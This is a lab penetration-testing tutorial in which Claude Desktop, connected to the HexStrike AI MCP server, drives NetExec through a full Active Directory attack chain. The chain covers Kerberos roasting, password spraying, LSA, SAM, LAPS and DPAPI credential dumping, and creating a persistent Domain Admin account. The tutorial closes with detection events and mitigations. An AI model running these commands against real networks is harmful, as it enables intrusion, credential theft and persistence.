Overview

This guide walks through a complete Active Directory engagement in a controlled lab, driven end-to-end by plain-English prompts to Claude Desktop. We wire the HexStrike AI MCP server into Claude Desktop and let the model operate NetExec on our behalf: you ask for a technique in English, the AI picks the right module, builds the command, runs it, and returns parsed, report-ready output. The engagement moves through three phases. First, read-only reconnaissance enumerates users, groups, Kerberos attack paths, descriptions, password policy, computers, and shares — with one lab-account hash crack to demonstrate impact. Second, exploitation runs non-destructive CVE checks and then a single password spray that lands Domain Admin. Third, post-exploitation uses that foothold for RDP access, a password reset, and credential dumping from LSA, SAM, and LAPS, then goes further — harvesting application and DPAPI secrets, planting a persistent Domain Admin account, and finally flipping to the defender’s chair to read the event-log artifacts the whole run generates. Every step runs against the same lab, and every result is captured in a form you can paste straight into a report.

Table of Contents:

• Introduction
• Lab Environment
• Install HexStrike AI
• Launch the HexStrike Server
• Connect HexStrike to Claude Desktop
• Enumerate Domain Users
• Enumerate Domain Groups
• AS-REP Roasting
• Crack the AS-REP Hash
• Kerberoasting
• Enumerate adminCount Objects
• Pre-Windows 2000 Computer Accounts
• Hunt Delegation
• Enumerate AV/EDR
• Enumerate User Descriptions
• Enumerate Domain Password Policy
• Enumerate Computers
• Enumerate Shares
• Zerologon Check (CVE-2020-1472)
• SMBGhost Check (CVE-2020-0796)
• NTLM Coercion and Reflection
• Password Spraying — the Breakthrough
• Enumerate Disks
• Enable RDP
• Interactive RDP Login
• Reset a Domain User Password
• Dump LSA Secrets
• Dump the SAM Database
• Read LAPS Passwords
• Harvest WinSCP Saved Sessions
• Loot DPAPI and Credential Manager
• Establish Persistence — Create a Domain User
• Escalate — Add the User to Domain Admins
• Collect Event Logs
• The DCSync Detection Signature — Event 4662
• NetExec Command Reference
  • Authentication and Enumeration (SMB)
  • Credential Access (SMB)
  • LDAP-Specific
• Mitigation Strategies
• Conclusion

Introduction

HexStrike AI exposes more than 150 offensive-security tools over the Model Context Protocol (MCP), the open standard that lets an AI assistant call external tools in a structured way. Once Claude Desktop connects to the HexStrike AI server, the model acts as your operator: it reads your plain-English request, selects the right tool and module, fills in the flags, runs the command, and explains the result. NetExec (nxc) is the engine doing the heavy lifting underneath — a modern network-execution tool that speaks SMB, LDAP, and WinRM and bundles the modules used for nearly every technique in this guide.

The payoff is a workflow that documents itself. You ask for a technique in English; the model runs the right tool and returns a clean, parsed finding you can paste straight into a report. That makes it ideal for learning AD attack paths without memorizing every flag on day one. The engagement is organized in three phases that build on one another: reconnaissance, where read-only LDAP and SMB queries map the domain’s attack surface; exploitation, where non-destructive CVE checks precede a password spray that lands Domain Admin; and post-exploitation, where that foothold is used to harvest credentials, establish persistence, and then — switching to the defender’s chair — review the artifacts the activity leaves in the Windows event log.

One discipline carries through every phase: as the actions move from reading data to writing it, the prompts stay explicit and the targets stay inside the lab. Read-only recon comes first, CVE checks are detection-only, and every write action — enabling RDP, resetting a password, creating an account — happens on a host we own. If you have not installed and connected HexStrike AI yet, the first three sections below cover the full setup.

Lab Environment

The following image shows an AI-driven Active Directory penetration testing against the ignite. local domain. The attacker is a Kali Linux workstation running NetExec for AD enumeration and HexStrike AI, an MCP server exposing 150+ offensive tools. It establishes authenticated access to ignite.local, served by two domain controllers: DC1 at 192.168.1.7 and DC2 at 192.168.1.11. Three credentials define the privilege path: raaz/Password@1, the low-privilege starting foothold; Administrator/Ignite@987, Domain Admin recovered via password spray; and raj/Password@2, reset during the engagement, holding a delegated LAPS read right. The footer notes this is an authorised lab engagement only.

Install HexStrike AI

HexStrike ships in the Kali repositories. Install it with apt. The package pulls its Python dependencies automatically, so there is nothing to clone or compile. Run the install command:

sudo apt install hexstrike-ai

The image above shows the installation completing. apt reports that the latest build is already present, confirming the toolkit is ready to launch. On a fresh box you will see the packages download and install instead. 

Launch the HexStrike Server

The MCP client talks to a local API server. Start that server before you open Claude. It binds to 127.0.0.1:8888 and spins up a process pool of workers to run tools in parallel. Start the server:

hexstrike_server

As shown in the image above, the Tools API server comes online on port 8888 with the cache size, command timeout, and enhanced visual engine all reported. Leave this terminal running for the rest of the engagement — if it stops, Claude loses access to every tool.

Connect HexStrike to Claude Desktop

Claude Desktop reads its MCP servers from a JSON config file. The project README documents the exact block you need, including the command, args, and server URL.

Open Claude Desktop. Click your account name in the bottom-left, then open Settings.

Inside Settings, go to Developer under the Desktop app section. Under Local MCP servers, click Edit Config.

That button opens claude_desktop_config.json, stored at ~/.config/Claude/. The image below shows the file so you can confirm the location.

Replace the file contents with the block below. Point command at the hexstrike_mcp binary and –server at your running API. Save it.

{
  "mcpServers": {
    "hexstrike-ai": {
      "command": "hexstrike_mcp",
      "args": [
        "--server",
        "http://127.0.0.1:8888"
      ],
      "description": "HexStrike AI Security Tools",
      "timeout": 300
    }
  }
}

The final config should look like the image below.

Restart Claude Desktop. Return to Developer and Local MCP servers. The connector now reports running, confirming Claude can reach all HexStrike’s tools.

Enumerate Domain Users

Start with a full account list. This is read-only LDAP enumeration against DC1 using raaz’s credentials. It maps the attack surface before you touch anything. Prompt Claude with:

find all domain users

Under the hood, HexStrike runs the NetExec –users module:

nxc ldap 192.168.1.7 -u raaz -p 'Password@1' --users

Claude returns the full roster — 23 accounts — and enriches each one with its UAC flags and attack-path role. This is the key takeaway: the AI does not just dump usernames; it labels which accounts are roastable, which are delegation targets, and which sit in privileged groups. That table becomes your target list for everything that follows.

The second half of the table continues the same enrichment, including the ForceChangePassword chain on tom and several DC1-only standard accounts.

Enumerate Domain Groups

Usernames alone do not tell you who matters. Group membership does. Next, map the privileged groups, so you know which identities hold real power. Prompt Claude with:

Enumerate Domain Groups

HexStrike runs the following netexec command–groups module against DC1: nxc ldap 192.168.1.7 -u raaz -p ‘Password@1’ –groups

The result below shows where the privilege lives. krishna is a non-default Domain Admin. ram sits in Backup Operators and Remote Management Users. Sita holds Key Admins. sanjeet belongs to the gMSA group. Each of those memberships is a separate, documented attack path.

AS-REP Roasting

AS-REP roasting targets accounts with “Do not require Kerberos pre-authentication” set. Any unauthenticated user can pull a crackable hash for those accounts. Prompt Claude with:

Enumerate ASREPRoast

Claude found komal (UAC flag 0x400000, DONT_REQ_PREAUTH) but hit a KDC routing quirk — the AS-REQ was sent to an unreachable host. The fix is to pin the KDC to the DC you can actually reach. The working command is:

nxc ldap 192.168.1.7 -u raaz -p ‘Password@1’ –asreproast /tmp/asrep_ignite.txt \

    –kdcHost 192.168.1.7

The captured $krb5asrep$23$ hash lands in /tmp/asrep_ignite.txt, ready to crack.

Crack the AS-REP Hash

A captured hash means nothing until you crack it. Feed it to hashcat mode 18200 with the rockyou wordlist. Prompt Claude with:

crack hash with rockyou.txt

The underlying command is:

hashcat -m 18200 /tmp/asrep_ignite.txt /usr/share/wordlists/rockyou.txt

Komal cracks to Password@1 in seconds. Notice that this is the same password as raaz, the account you authenticated with. Two findings stack here: a roastable account and a trivially weak, reused password. That combination is exactly how real breaches escalate.

Kerberoasting

Kerberoasting targets accounts with a Service Principal Name (SPN). Any authenticated user can request a TGS and crack the service password offline. Pass –kdcHost up front to avoid the routing issue from the AS-REP run. Prompt Claude with:

Enumerate Kerberoasting

The command HexStrike runs:

nxc ldap 192.168.1.7 -u raaz -p ‘Password@1’ –kerberoasting /tmp/kerb_ignite.txt \

    –kdcHost 192.168.1.7

Two accounts — raj and kavish — return RC4 (etype 23) tickets, which feed hashcat mode 13100. RC4 is the easy case; AES-only SPNs would crack far slower.

Enumerate adminCount Objects

adminCount=1 flags every object that is, or once was, a member of a protected group. AD’s AdminSDHolder process stamps it. This surfaces stale privilege that a live group dump misses. Prompt Claude with:

Enumerate Admin Count

The command that runs in background is:

nxc ldap 192.168.1.7 -u raaz -p ‘Password@1’ –admin-count

Five objects carry the flag, including krishna, ram, and sita — each cross-referenced to the group dump from Section 5. Stale adminCount entries are a classic source of forgotten, exploitable privilege.

Pre-Windows 2000 Computer Accounts

Pre-2k abuse hunts machine accounts whose password is still the predictable default — the lowercase computer name, truncated to 14 characters. That default gives you an authenticated foothold. Prompt Claude with:

Enumerate Pre2k Computer Account Abuse

The command that runs in the background is:

nxc ldap 192.168.1.7 -u raaz -p ‘Password@1’ -M pre2k –kdcHost 192.168.1.7

DEMO$ is flagged as a pre-created candidate and saved to disk. The enumeration succeeds even where the default-password validation needs the KDC pin to complete.

Hunt Delegation

Delegation misconfigurations are some of the highest-impact AD findings. Switch to the second DC and list every account configured for Kerberos delegation. Prompt Claude with:

find delegation

The command that runs in the background is:

nxc ldap 192.168.1.11 -u raaz -p ‘Password@1’ –find-delegation

This DC returns four findings, each a distinct attack primitive: constrained with protocol transition (kavish, targeting the MSSQL SPN), unconstrained (WIN-SQL$), and two resource-based constrained entries (fakepc$ and fakecomp$) targeting DC$. That last pair is a direct path toward the domain controller.

Enumerate AV/EDR

Finish with defensive recon. Knowing what protection runs on a host shapes every later decision. NetExec’s enum_av module queries the SecurityCenter2 WMI namespace. Prompt Claude with:

Enumerate Anti-Virus & EDR

The command that runs in the background is:

nxc smb 192.168.1.7 -u raaz -p ‘Password@1’ -M enum_av

Only Windows Defender is registered — no third-party EDR. The module confirms presence, not protection state, so verify real-time monitoring and tamper protection separately before relying on it.

Enumerate User Descriptions

The description field is a classic recon win — admins sometimes stash passwords or notes there. Run the unfiltered version so you see every account that has a description set. Prompt Claude with:

Enumerate User Descriptions

HexStrike runs the get-desc-users module over LDAP:

nxc ldap 192.168.1.7 -u raaz -p ‘Password@1’ -M get-desc-users

This one paid off. Seven accounts carry descriptions, and the lab builder used the field as a roadmap of which account demonstrates which attack — raj for Kerberoasting, aarti for LAPS, shivam for DCSync, and komal for AS-REP roasting. Treat any description text as a live lead.

Enumerate Domain Password Policy

The password policy is the core data your mitigation section needs. –pass-pol reads the lockout threshold, minimum length, complexity, and max age. Prompt Claude with:

Enumerate Domain Password Policy

The command that runs in the background is:

nxc smb 192.168.1.7 -u raaz -p ‘Password@1’ –pass-pol

One finding stands out sharply: the Account Lockout Threshold is None. Combined with a weak 7-character minimum length, that is exactly what makes the password spray in Section 8 safe to run and likely to succeed. Note this now — it drives the whole attack chain.

Enumerate Computers

Map the computer accounts to tie every earlier finding to a host. –computers is read-only LDAP recon. Run it against the second DC. Prompt Claude with:

Enumerate Computers

The command that runs in the background is:

nxc ldap 192.168.1.11 -u raaz -p ‘Password@1’ –computers

Six computer accounts map cleanly onto the session: DC$ is the RBCD target, WIN-SQL$ is the unconstrained-delegation box, MyGMSA$ is the gMSA service account, and fakepc$/fakecomp$ are the RBCD takeover objects. MSEDGEWIN10$ is the Windows 10 client that holds the LAPS-managed local admin password you read in Section 15.

Enumerate Shares

–shares lists available SMB shares and your access level on each — read-only, and it reveals where files live. Prompt Claude with:

Enumerate Share Folder

The command that runs in the background is:

nxc smb 192.168.1.7 -u raaz -p ‘Password@1’ –shares

Share enumeration on DC1 returns the usual set — ADMIN$, C$, IPC$, NETLOGON, SYSVOL, and a custom Users share over C:\Users. The ADMIN$ and C$ write access is what a Pwn3d! result is built on. SYSVOL is always worth combing for GPP passwords and scripts.

Zerologon Check (CVE-2020-1472)

Before any exploitation, check the well-known DC CVEs. The NetExec zerologon module is detection-only — it tests the Netlogon crypto flaw but does not perform the destructive machine-account reset, so it is safe against the lab DC. Prompt Claude with:

enumerate zerologon

The command that runs in the background is:

nxc smb 192.168.1.11 -u raaz -p ‘Password@1’ -M zerologon

The DC is not vulnerable to CVE-2020-1472. The module cycled through its cryptographic attempts and none succeeded, which means the Netlogon secure-channel fix is in place. A clean negative is still a documented result for the report.

SMBGhost Check (CVE-2020-0796)

SMBGhost is the SMBv3.1.1 compression flaw. NetExec’s check is non-destructive — it inspects the compression-capability negotiation rather than triggering the bug. Prompt Claude with:

enumerate smbghost

The command that runs in the background is:

nxc smb 192.168.1.11 -u raaz -p ‘Password@1’ -M smbghost

The module ran and returned no vulnerability finding. The absence of a vulnerable line means the SMBv3.1.1 compression flaw is not present — the DC negotiated SMB without exposing the vulnerable capability, so it is not vulnerable.

NTLM Coercion and Reflection

Unlike the patched CVEs above, this is a live finding. The coerce_plus module checks the RPC interfaces that let you force the DC to authenticate to a host you control — PetitPotam/MS-EFSR, PrinterBug/MS-RPRN, DFSCoerce/MS-DFSNM, and ShadowCoerce. It is a read-only capability check. Prompt Claude with:

enumerate ntlm_reflection

The command that runs in the background is:

nxc smb 192.168.1.11 -u raaz -p ‘Password@1’ -M coerce_plus

The coercion check came back hot — the most significant finding on 192.168.1.11. DFSCoerce, PetitPotam, PrinterBug, and MSEven all report VULNERABLE, and the module confirmed a working coercion primitive. Paired with the unconstrained-delegation WIN-SQL$ box, this is a genuine coercion-to-DCSync path, not a patched negative.

Password Spraying — the Breakthrough

Password spraying tests one password across every account to find anyone using it. Because the lockout threshold is None (Section 2), a single spray round is safe — one failed attempt per account locks no one out. Build the user list from the earlier dump and spray Ignite@987. Prompt Claude with:

password spraying on all users with password Ignite@987

HexStrike writes the user list to disk, then runs the spray with –continue-on-success so it reports every match, not just the first:

nxc smb 192.168.1.7 -u users.txt -p ‘Ignite@987’ –continue-on-success

One hit, and it is the one that matters: ignite.local\Administrator : Ignite@987 (Pwn3d!). The Pwn3d! tag means Administrator has local admin rights on the DC — effectively full domain compromise from a single sprayed password. The other 20 accounts returned STATUS_LOGON_FAILURE, so the password is not shared across the domain; it is just the one very high-value account.

Enumerate Disks

With admin creds in hand, switch to confirming access. –disks lists the available drives on the target over SMB — read-only enumeration. Prompt Claude with:

Disks

The command that runs in the background is:

nxc smb 192.168.1.7 -u Administrator -p ‘Ignite@987’ –disks

Disk enumeration on DC1 returns C: and D:. The extra D: volume is worth a follow-up — non-default drives on a DC often hold backups, exports, or staged data.

Enable RDP

Now, write an action on a host we have compromised. NetExec’s rdp module flips fDenyTSConnections and adds the firewall rule in one shot. Prompt Claude with:

enable rdp

The command that runs in the background is:

nxc smb 192.168.1.7 -u Administrator -p ‘Ignite@987’ -M rdp -o ACTION=enable

RDP is now enabled on the DC. The WMI method succeeded — fDenyTSConnections is set to 0 over ncacn_ip_tcp, and the host is listening on TCP 3389. You can now connect interactively with the sprayed credentials.

Interactive RDP Login

Drop out of the MCP workflow and connect with a standard RDP client. The command that runs in the background is:

xfreerdp /v:192.168.1.7 /u:Administrator /p:'Ignite@987' /cert:ignore

The session opens straight into Server Manager on the domain controller, as shown below — a full interactive desktop as the domain Administrator. From recon to GUI access on the DC, every step was driven through the same AI workflow.

Reset a Domain User Password

With Domain Admin, a user password reset is a clean fix for the expired password state that was blocking the raj bind. Reset it via the admin account over WinRM — net user runs on the DC and hits the domain account directly. Prompt Claude with:

please change raj password

The reset and verification commands:

nxc winrm 192.168.1.7 -u Administrator -p ‘Ignite@987’ \

    -x “net user raj Password@2 /domain”

nxc ldap 192.168.1.7 -u raj -p ‘Password@2’ –query “(sAMAccountName=aarti)” “”

raj is now Password@2, and the admin reset also clears the expired state — a fresh password carries no must-change condition. The account binds over LDAP and SMB again, and raj’s new creds resolve the aarti object. You now hold working credentials for the LAPS read in Section 15.

Dump LSA Secrets

Credential dumping runs over SMB in NetExec — the –lsa, –sam, and –ntds extractors live there. Same Domain Admin creds against the DC. Prompt Claude with:

dump --lsa file

The command that runs in the background is:

nxc smb 192.168.1.11 -u Administrator -p ‘Ignite@987’ –lsa

The LSA dump succeeded — seven secrets pulled from the DC and saved to the nxc logs directory. The high-value item is the DC$ machine account: its NTLM hash and AES256/AES128/DES Kerberos keys. Those keys are Silver/Golden-ticket material and a direct route to persistence.

Dump the SAM Database

The local SAM is almost empty on a domain controller by design, but it is still worth dumping for the local accounts. Prompt Claude with:

dump SAM

The command that runs in the background is:

nxc smb 192.168.1.7 -u Administrator -p ‘Ignite@987’ –sam

Three hashes came off DC1. The local Administrator (RID 500) hash is set and is distinct from the domain Administrator you authenticated as. Guest and DefaultAccount both show the NTLM hash of an empty password — the blank-password fingerprint you will learn to recognize on sight. The WDAGUtilityAccount error is normal; it has no hash material stored.

Read LAPS Passwords

The LAPS module reads any LAPS-managed local administrator password the account is permitted to see. Use the raj creds reset in Section 12, since raj holds the delegated read right. Prompt Claude with:

dump laps password

The command that runs in the background is:

nxc ldap 192.168.1.7 -u raj -p ‘Password@2’ –laps

The read succeeds and returns the plaintext local Administrator password for MSEDGEWIN10, handed over by LDAP with no exploitation — just raj’s delegated read right over the computer object. The chain reads cleanly: raj holds ReadLAPSPassword over MSEDGEWIN10, one authenticated LDAP query returns the rotating local-admin password in cleartext, and that password is the foothold onto the client. This is the LAPS attack path the aarti/raj scenario was built to demonstrate.

Harvest WinSCP Saved Sessions

Now go past the OS credential stores into application secrets. WinSCP saves session credentials in the registry (HKCU\Software\Martin Prikryl\WinSCP 2\Sessions) or in WinSCP.ini, encrypted with a weak, reversible scheme. NetExec’s winscp module locates and decrypts them. Prompt Claude with:

dump winscp

The command that runs in the background is:

nxc smb 192.168.1.7 -u Administrator -p ‘Ignite@987’ -M winscp

This produced real output. The module found a saved session in the Administrator’s registry hive on DC1 and decrypted it: [email protected], username pentest, password 123. That is a plaintext credential for another host, recovered with a single module — exactly the kind of lateral-movement lead application stores hand you.

Loot DPAPI and Credential Manager

DPAPI is where Windows Credential Manager, vaults, and browser-saved logins live. The dpapi module decrypts those blobs, and because the LSA dump already pulled the machine and user master keys, the decryption side is set up. Prompt Claude with:

dump credential manager

The command that runs in the background is:

nxc smb 192.168.1.7 -u Administrator -p ‘Ignite@987’ –dpapi

The DPAPI loot completed and, unlike the DC-only modules, returned actual saved credentials. Four master keys decrypted, and the looter pulled two Firefox-saved logins from the Administrator profile on DC1 — someone browsed and saved logins from the DC itself. The lesson for the write-up: domain controllers are not where users normally store saved network creds, so the richest DPAPI targets are the client boxes (MSEDGEWIN10, DEMO); run it everywhere you land.

Establish Persistence — Create a Domain User

With Domain Admin, creating an account is trivial and gives you a durable way back in. Prompt Claude with:

create a new user name nishant with password Password@2

The account is created over the admin exec channel:

nxc winrm 192.168.1.7 -u Administrator -p ‘Ignite@987’ \

    -x “net user nishant Password@2 /add /domain”

Nishant now exists as a domain user in IGNITE.LOCAL with password Password@2. It lands in Domain Users by default with no elevated rights — yet. That is the next step.

Escalate — Add the User to Domain Admins

Adding the new account to Domain Admins turns a plain user into full domain control. This is a standard privilege escalation and persistence step in your own lab. Prompt Claude with:

add nishant user in domain admins group

The group-add and confirmation:

nxc winrm 192.168.1.7 -u Administrator -p ‘Ignite@987’ \

    -x “net group \”Domain Admins\” nishant /add /domain”

nxc smb 192.168.1.7 -u nishant -p ‘Password@2’

Nishant is now in Domain Admins and authenticates directly with full administrative control of IGNITE.LOCAL. You now hold a second, attacker-controlled DA account independent of the original spray — the persistence payoff.

Collect Event Logs

Switch sides. Dumping the Security and System event logs from a DC you control is standard collection — useful both as attacker recon and, more importantly here, as the raw material for the detection half of the article. NetExec has no single event-log module, so pull the Security log via WMI and wevtutil, grabbing the most recent entries. Prompt Claude with:

dump event logs

The command that runs in the background is:

nxc winrm 192.168.1.7 -u Administrator -p ‘Ignite@987’ \

    -x “wevtutil qe Security /c:15 /rd:true /f:text”

The dump returned the 15 most recent Security events — and those events are exactly the artifacts our own activity generated. That makes this the most useful slice for the defensive section.

The DCSync Detection Signature — Event 4662

One event is worth flagging on its own: Event ID 4662, Directory Service Access. The property GUID 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 is DS-Replication-Get-Changes, the control-access right that DCSync and replication use. A 4662 referencing that GUID is the canonical DCSync detection signature.

Here it is DC1$ itself — legitimate DC-to-DC replication —, but the event shape is identical to what an attacker’s DCSync produces. That is the teaching point: defenders should alert on 4662 where the property GUID is a replication right, and the subject account is not a domain controller. Map the events to the offensive steps, and you get a clean before/after for the write-up:

Account creation / DA escalation → Event 4720 (user created) and 4728/4732 (added to a security-enabled group). The highest-fidelity alerts.

DCSync / credential replication → 4662 with replication-right GUIDs.

Lateral auth / pass-the-hash → 4624 Type 3 with the NTLM package on member servers.

NTDS / VSS activity → 8222 / 4656 and VSS service events in the System log.

Pull the highest-signal events directly with a filtered query:

wevtutil qe Security /q:”*[System[(EventID=4720 or EventID=4728)]]” /f:text

NetExec Command Reference

To close the series, here is a reference of the NetExec flags used across all three parts — a documentation request for the lab workflow. Prompt Claude with:

list of all working nxc commands which can run here

Authentication and Enumeration (SMB)

The SMB protocol covers credential validation and most host and domain enumeration. The table below maps each goal to its flag — shares, logged-on users, domain users and groups, password policy, sessions, disks, RID brute-force, and computers.

Credential Access (SMB)

These are the credential extractors run throughout the series — local SAM hashes, LSA secrets, and the full NTDS.dit, NTDS via VSS snapshot, and DPAPI secrets. A representative invocation:

nxc smb 192.168.1.7 -u Administrator -p ‘Ignite@987’ –sam

nxc smb 192.168.1.7 -u Administrator -p ‘Ignite@987’ –lsa

nxc smb 192.168.1.7 -u Administrator -p ‘Ignite@987’ –ntds

LDAP-Specific

The LDAP protocol carries the directory-focused attacks — BloodHound collection, Kerberoasting and AS-REP roasting, delegation discovery, password-not-required, admin-count, gMSA, and LAPS. A representative invocation:

nxc ldap 192.168.1.7 -u raaz -p ‘Password@1’ \

    –bloodhound –collection All –dns-server 192.168.1.7

Mitigation Strategies

• Set an Account Lockout Threshold with a reset window. A null threshold is exactly what made the single-password spray safe to run; a sane threshold stops spraying cold.
• Raise the minimum password length to 14 or more characters, enforce complexity, and ban weak or reused passwords. A single sprayed Ignite@987 reached Domain Admin, and the komal/raaz password overlap shows why reuse is fatal.
• Enforce Kerberos pre-authentication on every account by removing the DONT_REQ_PREAUTH flag, which kills AS-REP roasting.
• Use long, random passwords for service and gMSA accounts and force AES-only encryption types to blunt Kerberoasting.
• Audit and clean stale adminCount=1 objects and unused or excessive delegation rights.
• Reset pre-created (pre-Windows 2000) computer accounts and never leave them on default passwords.
• Never store secrets in the description field — treat it as world-readable.
• Keep domain controllers patched. Zerologon (CVE-2020-1472) and SMBGhost (CVE-2020-0796) came back clean here — hold that posture.
• Mitigate NTLM coercion and relay: enforce SMB signing and Extended Protection for Authentication (EPA), patch MS-EFSR/PetitPotam, and restrict the Print Spooler and DFS RPC interfaces.
• Strip saved secrets from application stores. WinSCP’s reversible encryption means a saved session is effectively a plaintext credential — use key-based authentication and avoid saving passwords.
• Do not browse the web or save credentials on domain controllers; the DPAPI loot only succeeded because logins were saved on the DC profile.
• Protect DPAPI master keys. Limit who can run LSA, SAM, and NTDS extraction with tiered administration, since those dumps unlock downstream credential decryption.
• Tighten LAPS ACLs so only intended roles can read ms-Mcs-AdmPwd, and audit delegated password-reset rights so no single user can read managed passwords or reset accounts unchecked.
• Deploy real EDR with tamper protection on domain controllers, not just built-in Defender.
• Restrict and monitor RDP enablement and remote WMI/WinRM command execution on DCs — alert on fDenyTSConnections changes.
• Alert on persistence: Event 4720 (user created) and 4728/4732 (added to a privileged group) are high-fidelity and should page.
• Alert on DCSync: Event 4662 carrying a replication-right property GUID where the subject account is not a domain controller.

Conclusion

This engagement ran the full length of an Active Directory attack — and its defensive mirror — as a single guided conversation. HexStrike AI and Claude Desktop turned each technique into a plain-English prompt, while NetExec did the real work underneath over SMB, LDAP, and WinRM. Read-only enumeration mapped the domain’s users, groups, Kerberos weaknesses, password policy, computers, and shares. CVE checks ruled out Zerologon and SMBGhost but confirmed a live NTLM-coercion path. A single password spray — safe because no lockout threshold was set — turned a low-privilege foothold into Domain Admin. From there the post-exploitation chain fell out naturally: RDP access, a password reset, credential dumping from LSA, SAM, and LAPS, application and DPAPI secret harvesting, and a freshly minted Domain Admin account for durable persistence. Finally, reading back the Security event log closed the loop, showing the exact artifacts each action leaves behind and how a defender would catch them. The throughline holds across all three phases: every step was driven by a prompt, executed by NetExec, and captured in report-ready form. Build the lab, run the chain end to end, and study both halves — the attack and the detection — because understanding one without the other only does half the job.